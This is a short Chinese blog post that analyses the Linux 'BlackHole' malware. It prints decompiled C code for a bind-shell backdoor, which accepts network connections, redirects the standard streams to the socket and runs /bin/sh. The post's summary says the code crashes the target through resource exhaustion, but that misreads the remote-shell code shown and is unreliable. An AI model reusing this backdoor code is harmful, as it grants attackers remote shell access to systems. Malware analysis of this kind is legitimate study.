基于Linux平台病毒BlackHole病毒的决心

最新推荐文章于 2022-08-29 17:24:30 发布

weixin_34206899

最新推荐文章于 2022-08-29 17:24:30 发布

阅读量85

点赞数

本文详细剖析了一种通过网络漏洞发起的病毒攻击方式，利用socket编程实现恶意代码植入，并通过无限循环调用/bin/sh的方式导致目标系统资源耗尽，直至崩溃。

今天会见了病毒，少量的代码，但在使用小漏洞的函数的，真正的杀伤力相当惊人。

转载请注明出处：http://blog.youkuaiyun.com/u010484477谢谢^_^

这个病毒前面就是常规的：

socket->bind->listen这个过程大家都

以下我想具体说一下它的攻击方式：

while ( 1 )
{
    nsock = accept(sock, (struct sockaddr *)&v10, (socklen_t *)&v9);// wait to link
    if ( nsock < 0 )
      break;
    if ( fork() )                               // if Create progress is father progress
    {
      send(nsock, "\nConnected!\n\n", strlen("\nConnected!\n\n") - 1, 0);
      send(nsock, "This fine tool coded by Bronc Buster\n", strlen("This fine tool coded by Bronc Buster\n") - 1, 0);//这是他在自己娱乐呢
      send(
        nsock,
        "Please enter each command followed by ';'\n",
        strlen("Please enter each command followed by ';'\n") - 1,
        0);
      dup2(nsock, 0);
      dup2(nsock, 1);
      dup2(nsock, 2);
      execl("/bin/sh", "/bin/sh", 0);**************这句话就是真正的攻击了，先找找execl看看他咋攻击的呢吐舌头
      close(nsock);
      exit(0);
    }
    close(nsock);
}